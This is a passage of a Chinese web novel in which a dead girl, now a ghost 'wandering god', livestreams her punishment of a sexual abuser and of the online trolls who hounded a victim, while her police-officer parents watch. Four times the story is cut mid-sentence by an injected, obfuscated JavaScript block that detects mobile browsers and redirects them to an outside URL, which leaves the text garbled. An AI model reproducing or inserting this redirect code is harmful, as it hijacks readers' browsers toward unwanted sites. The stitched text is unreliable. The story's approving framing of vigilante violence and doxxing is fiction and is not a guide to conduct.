林祺瑞沉默了两秒,声音已经恢复了往日的沉稳:“我知道了,继续观察,让刑侦支队赶往现场。” “是否需要联系消防准备气垫,虽说十六楼,真掉下去,可能……”也没大用。 “按照正常危机事故处理。”林祺瑞语气不容置疑。 挂断电话,她看向丈夫。 郑觉凯这边也刚结束通话,脸色复杂:“局里技术科的几个小子也看到了,问我是不是咱们家正文……‘显灵’了。” 郑砚安那头更直接:“底下分局接到了十几个报警电话,都转到市局来了。” 客厅里再次陷入沉默,只有手机里传来直播的声音—— 林正文才等了几十秒就不耐烦地跳下来,用脚踢了踢瘫在地上的王友良。 “还有两分钟,想好了没?是跳楼还是自首?” 林祺瑞闭上眼睛,深吸一口气,突然开口:“老郑,你还记不记得,咱们给她改名那次。” 郑觉凯愣了一下,随即苦笑:“怎么不记得。” “正文才初一,就把三个高三的混混打进医院,就因为那几个人在欺负低年级学生。学校要开除她,咱们去学校求情,最后记大过了事。” “那时候她还不叫正文,叫林正。”林祺瑞声音很轻,像是在回忆,“她爷爷取的名字,说是希望孩子以后能正气凛然。可她简直是正义过盛。” 郑砚安在一旁默默听着。 这事他记得,那天妹妹一身是血回家,脸上还带着笑,说“哥,我把那几个杂种的门牙都打掉了”。 实际上,就算是被欺负的学生都比她大。 “咱们连夜找关系,把名字改了,加了个‘文’字。”郑觉凯接话,“想着让她文雅点,文明点,做事多动脑子,少动手。” “没用。”林祺瑞摇头,“她骨子里就那样。看到不平事,拳头比脑子快。高中三年,记过三次,都是因为打架——虽然打的都是该打的人。” 她看向屏幕里女儿那张张扬的脸。 “所以咱们商量好了,等她警校毕业,哪怕我‘以权谋私’,也得把她按在文职岗位上,绝不能让她上一线。”林祺瑞声音沉重,“我怕她冲动,怕她过激,怕她哪天……把程序扔到脑后,自己‘替天行道’。” “我不想有一天亲手铐住自己的女儿。” 郑觉凯搂住妻子的肩膀:“可现在她……” “现在她死了。”林祺瑞打断他,眼睛死死盯着屏幕,“死了,成了鬼。” 她突然笑了,笑容里满是苦涩和荒诞。 “咱们防了一辈子,怕她走歪路。结果她倒好,直接跳过阳间的规矩,去阴间‘执法’了。” 郑砚安看着父母,轻声说:“爸妈,正文她……一直在做她认为对的事。” “我知道。”林祺瑞擦掉眼角溢出的泪水,“她一直都知道什么是对,什么是错……法律完善需要时间,而她,不愿意等。” 屏幕里,林正文从老板椅上跳了起来。 “时间到。”她飘到王友良面前,俯视着这个抖成一团的男人,眼中有着隐隐的兴奋。 她这幅迫不及待的样子,让王友良终于认清现实。 他鼻涕眼泪糊了一脸,疯狂摇头:“我自首!我去自首!别杀我!别杀我!” “自首?”林正文挑眉看了一眼墙上的时钟,语气不满, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094191|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “现在才说,晚了。” 她伸手,一把揪住王友良的衣领。 王友良被凭空拎了起来,双脚离地,惊恐地踢蹬。 直播弹幕瞬间刷爆: 【真要动手了?!】 【主播冷静啊!杀人要偿命的!】 【不对,主播已经死了……那杀鬼要偿什么?】 【地府刑法有没有故意杀活人罪啊?】 林祺瑞三人同时屏住呼吸。 “正文!别冲动!”郑觉凯对着手机脱口而出。 林正文直接拖着王友良走向窗口。 十六层楼的高度,夜风从敞开的窗户灌进来,吹得王友良的头发乱飞。他低头看了一眼楼下,街道像一条发光的带子,车辆如蝼蚁。 “不……不要……”他绝望地嘶喊。 林正文咧嘴一笑,那笑容又痞又冷:“放心,摔下去很快的。眼睛一闭,一睁,就到地府了。我送你一程——” “等等!” 肖晴突然冲过来,拦在林正文面前。 “别……”她咬着嘴唇,低头看了一眼瘫软的王友良,又转回来看着林正文,“那个黑无常大人说,你不能惊吓活人,扰乱秩序……你要是真杀了他,会不会……会不会受罚?” 林正文皱眉:“先做了再说,这种人渣——” “可你是为了帮我。”肖晴眼泪又掉下来,“我不能为了自己报仇,害你受罚。你……你已经帮我很多了。” 林正文盯着她看了几秒,突然烦躁地抓头发:“难道就这么放过他?” “让他自首。”肖晴轻声说,“让他接受法律审判。这样……这样才是对的。” “可是法律判不了他死刑!”林正文提高音量,“性骚扰,网暴,最多判几年!他害死的是一条人命!” 肖晴低下头,肩膀微微颤抖。 她当然知道!她也不情愿让王友良就这么逃脱。 可就算自己抢先动手,林正文也躲不过一个监管不力的罪名。 就在这时,直播弹幕里,一条特殊的留言突然被系统用红色框线标出,置顶在屏幕中央—— 【实名举报:我叫陈婉,就是游神大人之前说的那个人,两年前应聘宏远贸易,被总经理王友良以面试为名带到酒店QJ。我保留了证据,但被他威胁,最终收了二十万封口费。 我愿意出庭作证,举报王友良□□罪。】 这条留言一出,弹幕瞬间炸了。 【实名举报?!】 【我想起来了!两年前有个女的跳江自杀未遂,是不是就是她?】 【王友良这畜生?!不就是有点臭钱!男人下边那点东西,既然管不住,嘎了算了!】 林正文盯着那条置顶留言,眼睛亮了起来。 她转头看向王友良,笑容变得格外灿烂:“听到没?QJ罪,三年起步,最高死刑。” 王友良面如死灰。 “但是我觉得还是不够。”林正文笑容秒收,话锋一转,“因为很难真的判到死刑。” 说完又把他拎到窗边,让他半个身子都探出去。 夜风呼啸,十六层楼的高度让王友良发出凄厉的尖叫。 “不!不——!” 这次林正文没给任何人阻止的机会,话音刚落,她松开了手。 “啊——!!!” 王友良的惨叫划破夜空。 直播镜头跟着俯冲而下,风声呼啸,地面急速逼近。弹幕里一片“我草”,连林祺瑞三人都下意识闭上了眼睛。 “砰!” 5. 第 5 章 “砰!” 办公室的门被撞开,看着空无一人的的房间,好几个警察脸色大变地扑向窗边。 就在这时,一名警察看着手机画面,忍不住“卧操”一句。 他们预想中的落地成盒的血腥画面并没有出现,王友良落到二楼时,下坠突然停止。 原来随着王友良被扔出去,林正文和肖晴也一前一后追了下去。 王友良此时正悬在半空,整个人呆愣着,好像魂已经飞了。 林正文拎着他,隔着三米高度,像扔垃圾一样把他扔在地上。 “记住这种感觉。”她俯视着瘫成一滩烂泥的王友良,“如果再作恶,下次我不会让你停在二楼。” 说完,她转身,拉着肖晴飘然而去。 直播镜头最后定格在王友良那张崩溃哭嚎的脸上,然后画面一黑,显示“直播已结束”。 郑家客厅,一片死寂。 过了足足半分钟,郑觉凯才长长吐出一口气:“这丫头……真敢啊。” 林祺瑞手还在抖,但嘴角却不由自主地扬起一个弧度:“幸好,她最后……收手了。” 夫妻俩对视一眼,都从对方眼里看到了后怕和……一丝欣慰。 “她长大了。”林祺瑞轻声说,“知道分寸了。” 郑砚安欲言又止,最后还是把话咽了回去——算了,让爸妈这么以为也好。 手机又响了,这次是白安冉打给郑砚安的。 “砚安,事情闹大了。”白安冉声音很急,“虽然直播内容无法截图和录屏,但陈婉的实名举报信息已经被转发。王友良的公司地址、家庭住址全被人肉出来了,好多网友扬言要去‘替天行道’。” 郑砚安皱眉:“网安那边能控制吗?” “已经在控评了,但热度太高。” 郑砚安看向母亲。 林祺瑞已经恢复了往日的威严,接过电话:“安冉,我是林祺瑞。你们网安支队配合舆情部门,引导讨论方向,强调法律程序,警告任何私自报复行为都是违法的。” “明白了,厅长。” 挂断电话,林祺瑞看向丈夫和儿子。 “明天正文出殡,照常举行。”她声音平静,“对外,林正文已经死了。这个直播……任何人说起都不要评论。” 郑砚安问:“那正文她……以后怎么办?” 林祺瑞看向窗外,夜色深沉。 “她能拿到地府的编制,说明阴司认可她的‘道’。”她轻声说,“或许……这是地府对阳间的一次变革也说不定。” 林祺瑞看直播的时候黑无常已经离开了,并不清楚林正文做的事从头到尾地府都不认可。之所以纵容,也不过是欲要使其亡必先让其狂。 她转身,走向女儿的遗像,伸手轻轻拂过照片上那张笑脸。 “阴阳两隔,”她表情伤感中带着欣慰,“活人的世界有活人的规矩,死人的世界……就让她自己去闯吧。” 窗外,城市的灯火依旧通明。 没有人知道,在某个活人看不见的维度里,一个刚死不到一天的女孩,正拉着另一个女孩的亡魂,穿梭在高楼大厦之间,寻找下一条因果线。 林正文哼着不成调的歌,心情很好。 肖晴跟在她身后,小声问:“接下来……我们去哪儿?” 林正文指着城市东边,那里有十几条淡红色的因果线延伸过去。 “去找那些键盘侠。”她咧嘴一笑,“一个一个,慢慢聊。” 夜色还长。 而地府深处,十个身影正围坐在一张巨大的圆桌前,看着一面水镜里倒映的直播画面,沉默不语。 “她真敢做。”一个判官终于开口。 “也真能收。”另一个判官说,“我以为她会不管不顾。” 主判官盯着水镜,眼神复杂。 “十世善人……难道天道认可她这种善吗?” 很快,他再次坚定起来:“不,此子太不安分了,绝不能让她打破地府格局。” 水镜里的画面闪烁了一下,切换到林正文和肖晴飘向城东的背影。 新的审判,即将开始。 阳间的虎鱼直播平台上,“地府游神办案实录”的直播间虽然黑屏,但关注数已经突破十万,留言区每分钟刷新上百条,打赏更是累计超过了六位数。 所有人都在等。 等那个半透明的主播再次上线。可是直到天亮,也没有等到。 对于大多数人来说,这只是又一个普通的夏日清晨。但对于某些人来说,世界已经彻底变了。 早上七点,市殡仪馆门口已经聚集了不少人。 林正文的追悼会定在八点举行,但不到七点,灵堂外就出现了奇怪的人群——他们拿着手机、自拍杆、补光灯,在殡仪馆门口来回踱步,眼睛时不时瞟向入口。 “家人们,我现在就在殡仪馆门口。” 一个染着灰色头发的男主播把镜头对准自己,压低声音: “昨晚那个‘游神’的直播都看了吧?我收到消息,主播长得跟今天要出殡的林正文一模一样!而且她的父母哥哥还是公安……” 他话没说完,就被旁边一个女主播的尖嗓门盖过去了: “老铁们点点关注!等会儿我带你们直击现场!听说林正文是为了救人才死的!” 灵堂内,林祺瑞一身黑衣,站在女儿遗像旁,腰板挺得笔直。 郑觉凯和郑砚安分别站在她两侧,三人脸上都没有太多表情,只有眼底的红血丝暴露了彻夜未眠的痕迹。 陆续有亲友和同事前来吊唁。 公安系统来了不少人,从省厅领导到基层民警,每个人经过林祺瑞面前时,都欲言又止,最后只是低声说一句“节哀”。 悼词念到“林正文同学为保护他人生命安全,与歹徒英勇搏斗,壮烈牺牲”时,人群中传来压抑的啜泣声。 献花环节,一个年轻女人突然扑倒在灵前,哭得几乎晕厥。口中不停地说着“谢谢”,对林正文的家人“对不起”。 她是林正文救下的那个姑娘。 林祺瑞把她扶起:“孩子,不必自责,她只是做了应该做的事。” 接着第二个被林正文帮助过的同学上前,哭着大声说自己被帮助的经历,然后是第三个、第四个…… 灰毛主播透过玻璃门看到这一幕,眼睛一亮,趁工作人员不注意,溜了进去。 他把镜头对准哭成泪人的女生:“这位小姐姐,请问你和林正文是什么关系?她救你的时候……” 话没说完,郑砚安已经大步走过来,一把抓住他的手腕。 “出去。”他声音不大,动作却不容置疑。 “我、我就是想采访一下……”灰毛还想挣扎。 “我再说一遍,出去。”郑砚安手上用力,灰毛主播立刻疼得龇牙咧嘴,被半拖半拽地请出了灵堂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094192|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一路上灰毛都嘴里骂骂咧咧:“你放开我,信不信我举报你暴力执法……” 郑砚安没有说话,别说现在不是执法时间,就算是穿着警服的时候,他这也是正当的控制行为。 灰毛刚被推出灵堂,一抬头,看见另一个同行也被从隔壁灵堂推了出来。 那是个戴眼镜的女主播,设备比他更专业,怀里还抱着个小型摄像机。 两人对视一眼,都从对方身上看到了同样的狼狈。 “你也……”灰毛试探着问。 “隔壁就是肖晴。”眼镜女苦笑,“她爸妈情绪太激动了,差点把我设备砸了。” 正说着,隔壁灵堂的门“砰”地打开,一对中年夫妇冲出来,眼睛红肿,脸上满是悲愤。 “滚!都给我滚!” 肖父指着还在院子里徘徊的几个主播,声音嘶哑的怒喊。 “我女儿就是被你们这种人害死的!现在她死了你们还不放过她!还要来拍!你们有没有良心?!” 肖母瘫坐在地上,哭得撕心裂肺:“我女儿……她才刚毕业……你们为什么要那样说她……为什么要逼她……” 眼镜女下意识想把镜头转过去,但手臂刚抬起就顿住了,最终让画面停留肖晴父母脚下的地面。 灰毛看着她,突然觉得手里的自拍杆有些烫手。 “我……”他张了张嘴,“我又没在网上骂人……” “你刚才想进去拍那个被林正文从匪徒手里救下来的姑娘。”旁边走来一个人,抬手挡住他的手机镜头,冷冷道,“这和那些吃人血馒头的,有什么区别?” 灰毛愣住了。 院子里安静下来,只剩下此起彼伏的哭声在晨风中飘荡。 …… 同一时间,城市的各个角落,无数人从睡梦中惊醒。 李伟猛地从床上坐起来,浑身冷汗。 他做了个噩梦——梦里他像是被鬼压床了,躺在那动弹不得。 有个半透明的女孩飘在上空,冷冷盯着他,手里拿着他的手机。 屏幕上,是他曾经发出去的一条评论:“这种女的肯定自己也有问题,不然为什么偏偏找她不找别人?” 手机被怼到他面前,每一个发出去的字眼在他眼中放大,直到融化成鲜血,一滴一滴落在李伟的眼睛里。 那一刹那,仿佛硫酸入眼,疼得他嘶声痛嚎。 “疼吗?”女孩幽幽的看着他,“你发言的时候,想过别人的疼吗?” “啊——!!!不要!不要杀我!” 李伟尖叫着醒来,打开床头灯,大口喘气。 “只是个梦……”他喃喃自语,伸手去拿手机,想看看几点了。 下一刻,尖锐的刺痛从指尖传来,像是被针扎了一样。 “啊!” 他缩回手,惊恐地看着自己的手指——没有任何伤口,但痛感真实得可怕。 “漏电了?” 他试着又碰了一下手机。 “啊!!!” 更疼了,疼得他额头冒汗。 李伟跌跌撞撞跑出卧室,打开家里的台式电脑。手指碰到键盘的刹那,同样的刺痛传来,他惨叫一声,整个人从椅子上弹起来。 “怎么了老公?”妻子睡眼惺忪地从卧室出来,“这一大早上叫什么?” “我……我手疼……”李伟看着自己完好无损的双手,声音惊恐的发抖。 6. 第 6 章 同样的事情,在许多地方同时上演。 年轻白领,发现自己无法触碰任何电子产品;外卖骑手,看着自己无法操作手机接单;大四学生,试图用笔记本电脑写论文失败…… 他们互不相识,但他们有一个共同点:都曾在网上肆无忌惮地用最恶毒的语言攻击过一个叫肖晴的女孩。 有些人骂得轻,只是跟风说了几句“活该”“戏精”。有些人骂得重,人肉了肖晴的信息,把她的照片不打码公然发在网上。 现在,报应来了。 虽然没直播,但这一整晚,林正文和肖晴可没闲着。 成了鬼之后就这点好,一日千里不是梦,每一个连在因果线上的人都逃不过。 当天晚上,第一个公开道歉的视频出现在网上。 发布者是个二十出头的男生,他带着口罩,眼睛红肿,双手悬空架在身前,碰一下“录制开始”都疼的龇牙咧嘴。 “我错了……我真的知道错了……”他对着镜头深深鞠了一躬,“我在肖晴那条帖子下面骂了她……我根本不认识她,我就是……就是觉得在网上说话也没人知道……” 道歉的话说完,他眼中燃起期盼之色,试图用手指去碰手机屏幕,刚碰到就疼得龇牙咧嘴,迅速缩回手。 他终于认命了,咬牙摘掉口罩:“求求你了游神大人,我真的知道错了……我以后再也不敢在网上乱说话了……您放过我吧,我还要找工作,还要生活……” 说到最后,似乎真的看到自己未来悲惨的命运,痛哭失声。 这个视频很快被转发,评论里有人嘲笑他“戏多”,也有人将信将疑,暗骂他蠢。 手碰不了电子产品,难道不能用手套隔着?用手写笔也行…… 但很快,第二个、第三个、第四个道歉视频出现了。 视频里的人症状都一样:手指一碰电子产品就剧痛,但身体没有任何外伤。他们来自各行各业,年龄各异。 唯一的共同点——都承认自己参与过对肖晴的网暴。 “我当时就是跟风……” “我觉得在网上说话不用负责……” “我就是发泄情绪……” “我没想到会造成这么严重的后果……” 道歉的理由五花八门,但痛苦是真实的。 到了下午,事情开始发酵。 有人发现,这些“患病”的人,在现实中几乎寸步难行——不能扫码支付,不能微信沟通,不能使用办公电脑…… 痛楚仿佛从灵魂传来,任何方法都隔绝不了,只要“碰到”手机,就开始疼。 李伟的公司打来电话,问他为什么没来上班。 他支支吾吾说手受伤了,对方沉默了几秒:“李伟,你是不是……也骂了肖晴?” 他愣住:“你怎么知道?” “咱们那栋写字楼已经有三个人因为‘手疼’请假了。”对面的声音很冷,“你这种情况影响工作,暂时停职。等……等好了再说吧。” 电话挂断,李伟瘫坐在沙发上。 妻子坐在他对面,沉默了很久,才轻声问:“如果我遇到这种事,你是不是也觉得我活该?” 李伟张了张嘴,说不出话。 妻子失望地看着他,起身收拾东西,留下一句话。 “你自己冷静一下,我也要好好想想咱们之间的事。” …… 道歉的风吹了好几天,还有网友剪辑在一起,每天统计人数。 直到第三天,网上出现了新的视频。 一个中年男人在镜头前又哭又笑,他小心翼翼地托着手机——没有疼痛。 “不疼了!真的不疼了!”他激动得语无伦次,“谢谢游神大人!谢谢!我保证,我以后再也不会在网上乱说话了!我发誓!” 他当场打开微博,把自己过去所有攻击过别人的评论一条条删掉,边删边扇自己耳光:“对不起,我以前说的都是屁话……” 这个视频像投入湖面的石子,激起了无数涟漪。 那些还在忍受“手疼”的人疯狂私信,全是在问:“你怎么好的?”“要怎么做才能好?”“要道歉多少次才行?” 没有人知道准确答案。 但例子多了,总结出来一个规律:那些最早道歉、态度最诚恳的人,似乎恢复得最快。而那些还在嘴硬、试图隐瞒的人,症状持续得最久。 于是,更多实名露脸的道歉视频出现了。 有人公开向肖晴的家人道歉,有人把当初骂人的帖子截图发出来忏悔,有人甚至主动去派出所“自首”。 每一天都有人宣布自己“康复”了,每一天都有新的忏悔视频上传。 渐渐地,人们总结出规律:骂得越轻、道歉越早越诚恳,恢复得越快。骂得越重、态度越差,恢复得越慢。 因果线上除了王友良,颜色最深的人,就是收了钱在论坛上发布爆料信息的家伙。整整一年后,才在某个深夜颤抖着手碰了碰手机屏幕,发现疼痛终于消失了。 他抱着手机哭了一整夜。 但是从此之后,他就得了PTSD,痛苦仿佛刻进了肌肉记忆里,每当他碰手机时都条件反射地往回缩一下。 这些日子以来,网络环境也发生了微妙的变化。 曾经戾气最重的几个社交平台,突然安静了许多。那些惯常发表极端言论的账号,要么沉寂了,要么开始谨慎措辞。 这些林正文都没有关注,因为报仇之后,肖晴的怨气就逐渐化解了。 林正文亲自把人送到地府,带着她走完审判和轮回两关,直到喝了孟婆汤去投胎,这才算是了结。 这一轮下来,她也在地府认识了不少人。 有的是打过交道的,有慕名“十世善人”主动靠近的,还有欣赏林正文特立独行、有活人感的。 反正不管他们是什么心思,林正文通通来者不拒。 “你下来这么多天,辖区的事不管了?” 林正文正准备通过鬼门关回阳间,面前正是她带肖晴下来遇到的那位守将劈山鬼。 鬼门关守卫职能特殊,都是鬼将担任,级别与六案功曹、四大判官平起平坐。 见对方主动示好,林正文嬉皮笑脸回道:“我这不刚上任,正适应着,先一个个来,辖区那边还有范七他们呢。” 劈山鬼意味深长的重复:“你这还真是‘一个个’的呀。” “嘿嘿!”林正文装作没听懂,挥了下手,“忙着吧,我先走了。” 林正文穿过鬼门关,眼前景象从地府的幽暗转为阳间夏季的闷热。 她飘在半空,深吸一口气——虽然鬼魂不需要呼吸,但她还是习惯性地做了这个动作,让阳间的生气充满整个胸腔。 “喔~还是阳间舒服。” 她咧嘴一笑,辨清方向,朝家的方向飘去。 这次没有被牵制住脚步,几分钟后,她站在自家楼下。 抬头看,六楼窗户黑着灯。 林正文撇撇嘴,熟练地穿过楼体,直接飘进客厅。 果然,家里空无一人。 客厅收拾得很干净,电视墙上专门腾出一个宽敞的格子摆着她的照片。 林正文飘过去,盘腿坐在齐平的半空,盯着照片里穿着警校制服的自己看了好半天。 “啧,还挺帅。” 照片前还放着果盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094193|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,水蜜桃、香蕉、芒果……都是她最爱吃的。 林正文抄起一个水蜜桃, 向后一动,直接将自己扔进单人沙发,也不好好坐,后背靠着扶手,膝盖搭着另一个扶手,双脚悬在半空摇来晃去。 “吭哧——嗯,真甜!” “系统,调出界面,看看上次直播收获怎么样。” 半透明的光屏在眼前展开。 林正文视线直接落在最关心的地方: 【香火值:2231】 【功德值:1】 【鬼气值:3】 “两千多!”她眼睛一亮,“上次直播的打赏还真不少,1点功德是超度肖晴奖励的,一共是23点功德呢。” 往下看,技能栏里多了两个图标: 【因果追踪:消耗10功德/次】 【阴阳视觉共享:消耗1香火值/10分钟】 林正文的笑容僵住了。 “10功德一次?!”她差点从沙发上弹起来,“抢钱啊?!” 她飞快地心算:1点功德值等于100点香火值,10功德就是1000香火。她现在的香火值能换23功德,只够开两次因果追踪。 “这也太贵了……”她嘀咕着,一边吃桃,手指在光屏上划拉,查看其他可兑换项目。 【初级蕴气丹:10功德/颗(可提升鬼气值10点)】 【制式勾魂锁:50功德(需鬼气值30以上方可使用)】 林正文盯着“勾魂锁”三个字,眼睛发亮,口水都快流下来了。 那天范七的样子可太帅了,黑漆漆的锁链带着幽光,一甩一个准。要是她也有那玩意儿…… 再看看价格:50功德,也就是5000香火值,50万打赏。 林正文啃了口桃,默默关掉了武器兑换页面。 “还是先提升实力吧。”她安慰自己,“实力不够,有好武器也用不了。” 沉吟片刻,她做出决定:“系统,兑换19点功德。” 【消耗1900香火值】 【获得功德值:20】 【当前香火值:331,功德值:20】 看着缩水严重的香火值余额,林正文肉疼地咧了咧嘴,但还是继续操作:“兑换一颗初级蕴气丹。” 【消耗10功德值】 【获得初级蕴气丹×1】 【是否立即使用?】 “使用。” 一颗半透明的丹药凭空出现在她面前,散发着淡淡的幽光。林正文张嘴,丹药自动飘入,化作一股清凉的气息散入四肢百骸。 【鬼气值提升中……】 【当前鬼气值:13】 “13对45?” 林正文感受着体内充盈的力量,握了握拳,桃核顷刻间就成了一团粉末。 “不错,再来三颗,范七再跑来瞎逼逼,也不怕了。” 她看着剩下的10功德值,犹豫了一下。 因果追踪太好用了,起码得备着10点以防万一。 “就这样吧。”她关掉系统界面,飘到窗前,看着楼下的街道。 时间已经接近晚上九点。往常这个时候,父母该下班回来了——如果不用加班的话。 果然,九点过五分,一辆黑色轿车停在楼下。林祺瑞从驾驶座下来,郑觉凯从副驾下来。两人都穿着常服,肩并肩走进单元门,没有说话。 林正文“嗖”一下飘到门口,盯着把手转动。 门开了,两个人依次走进来,开灯后的第一件事,就是在黑暗的客厅环视了一圈。 突然,他们目光一凝,视线齐刷刷落在一处。 7. 第 7 章 林正文从他们面前飘过,看着母亲眼下的乌青,父亲鬓角新生的白发。 她想说话,想喊一声“爸妈我回来了”,但话到嘴边又咽了回去。 阴阳两隔。 她现在可不是那个什么都不懂的新手游神。 若是强行显形接触,阴气会损伤活人的阳气。王友良那种人渣她不在乎,但父母……一万分小心也不为过。 林祺瑞和郑觉凯可是几十年的老警察,一进来就发现了不对。 空气里还残留着淡淡的水蜜桃味,果盘上少了一个。 夫妻俩对视一眼,都没说话。郑觉凯轻轻关上门,林祺瑞放下包,目光在客厅里缓缓扫视。 “正文?”她轻声唤道,声音有些发颤,“是你回来了吗?” 林正文眼睁睁的看着母亲在客厅里转了一圈,打开每个房间的门查看,最后回到客厅,眼眶已经红了。 “老郑……”林祺瑞声音哽咽。 “她回来过,还吃了东西。”郑觉凯低声说,低头凝视果盘上缺的那处,“但不敢见我们。” 林祺瑞突然明白了什么。 这三天她和丈夫没闲着,每天都有至少三场会议,每次都在讨论关于地府和鬼魂的事。 林祺瑞喃喃道:“她能在王友良面前现身,如果此时正在这间屋子里,却不现身,那只有一个可能。” 郑觉凯搂住妻子的肩膀,把人往屋里带:“去睡觉。” 林祺瑞抬头看他。 “睡着了,说不定就能见着了。”郑觉凯声音发紧,“昨天首都来的道长说,或许可以托梦。” 两人连鞋都没换,直接走进卧室,和衣躺在床上,闭上眼睛。 林正文飘在床尾,看着父母紧握的手和紧闭的眼睑,深吸一口气。 她集中精神,魂体化作一缕轻烟,钻入父母的梦境。 …… “爸、妈!我回来了!”林正文来开大门,一边脱鞋一边喊,“饿死了,饿死了,有什么好吃的吗?” 林祺瑞和郑觉凯同时从厨房冲出来,眼睛都不敢有片刻的移动,生怕眼前看到的都是幻觉。 “正文……”林祺瑞声音发抖。 林正文抬头咧嘴一笑:“爸妈,我回来了。” 半个小时后,饭桌上出现四菜一汤。 他们就那么看着女儿,看着她狼吞虎咽地吃饭,看着她嘴角沾上酱汁,看着她一边吃一边嘟囔“这个咸了”“那个淡了”,活脱脱就是生前每个周末回家的样子。 林正文吃了大半碗饭,才察觉到父母的视线。 她抬起头,眨眨眼:“你们不吃啊?” “看你吃就饱了。”林祺瑞轻声说,伸手想摸女儿的脸,手指却在半空停住——她怕一碰,梦就醒了。 林正文放下筷子,把脸往前一伸,“妈妈,给我擦擦嘴吧。” 林祺瑞眼眶一酸,动作轻柔地捧着女儿的脸,就像当初亲自整理遗容那样,帮她擦掉嘴角的污渍。 林正文得意地嘿嘿一笑,身体往后靠,摇着椅子前后晃。 看到她这幅没正形的样子,林祺瑞“坐没坐样”刚想脱口而出,话停在嘴边,再也说不出来了。 “告诉你们哦,”林正文翘起二郎腿,“我在地府这几天,可精彩了。” 她开始滔滔不绝—— “你们女儿我可是十世善人!”林正文挺直腰板,一脸嘚瑟,“没想到吧!都是那孙子害的,要不然我功德圆满,直接就能和判官功曹平起平坐。” “现在做了日夜游神也不错,这片就是我的辖区,这不比在地府自在。” 她越说越夸张:“你们是不知道,我走在地府大街上,那叫一个威风。路过的鬼魂都得给我让道,牛头马面见了我都喊‘林大人好’——” “正文。”林祺瑞突然打断她。 林正文停住话头。 母亲看着她,眼神里有担忧:“你刚才说……如果你功德圆满,死后就能和判官功曹平起平坐?” “啊,对啊。”林正文眨眨眼,“怎么了?” 林祺瑞和郑觉凯交换了一个眼神。 三天来他们查到的资料得知,地府等级森严,六案功曹和四大判官都相当于部级干部。仅次于十殿阎王和五方鬼帝。 让一个刚死的新鬼和他们平起平坐? “闺女。”郑觉凯斟酌着开口,“你在地府……有没有遇到什么不对劲的事?” 林正文笑容僵了一下,随即又恢复那副没心没肺的样子:“能有啥不对劲?我好着呢!” “那天的直播,那个无常是怎么回事?”林祺瑞不让她打马虎眼,追问道:“怎么突然就……” “他认出我是十世善人,不敢惹呗。”林正文说得轻松。 但父母的表情并没有放松。 林祺瑞沉默了几秒,缓缓道:“这三天,我和你爸接到了一些……上面的电话。” 林正文一点点收起笑容,坐姿也端正了起来。 “直播的事影响很大。”郑觉凯接话,“虽然网安那边控制了舆论,但大家都知道是怎么回事。上头的领导……有些担心。” “担心什么?”林正文挑眉,“担心我扰乱阳间秩序?” “担心出现警方破不了的悬案。”林祺瑞声音很轻,“担心公信力受损,担心……某些残余重新抬头。” 林正文嗤笑一声,比了下拳头:“敢抬头!脖子给他们撅了!” 郑觉凯不赞同地看着她:“正文,阳间有阳间的规矩,有法律,有程序。你直接动手,哪怕对付的是人渣,也是在破坏规矩。” 客厅里安静下来。 林正文低着头,手指无意识地敲着桌面。 过了好一会儿,她才开口:“那你们……你们怎么回那些老家伙的?” 林祺瑞和郑觉凯对视一眼,都笑了。 “我们说,阴阳两隔,活人管不到死人的事。”林祺瑞说,“还说对直播内容存疑,因为我们还没在死后见过女儿一面。” 郑觉凯补充:“不管领导们信不信,反正我俩没几年就退休了。你哥还年轻,但他走得正,不怕人说闲话。你那些姑伯姨舅都在系统里,不至于因为这点事受影响。” 林正文抬起头,眼睛红了:“爸,妈……” “做你想做的事。”林祺瑞伸手,轻轻捏了一下女儿的脸,“做你认为对的事。但——” 她顿了顿,声音变得严肃。 “一定要小心。地府那边……我们不了解,但那个无常的态度,你刚才说的那些判官的反应,都不对劲。” 郑觉凯点头:“按常理,十世善人确实尊贵,但不至于让整个地府都为你的喜好让行。除非……” “除非有人想捧杀你。”林祺瑞接过话,眼神锐利起来,“先把你捧得高高的,让你觉得自己可以为所欲为。等你真捅出大娄子,再一把把你拽下来。” 林正文愣住了。 她想起鬼门关那位鬼将意味深长的话,想起范七突然的退让,想起地府十位官员…… “你们是说……”她喃喃道。 “那是我们不了解的世界。”林祺瑞握住女儿的手,“但我们办案几十年,见过太多先例。一件事如果顺利得不正常,那背后一定有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 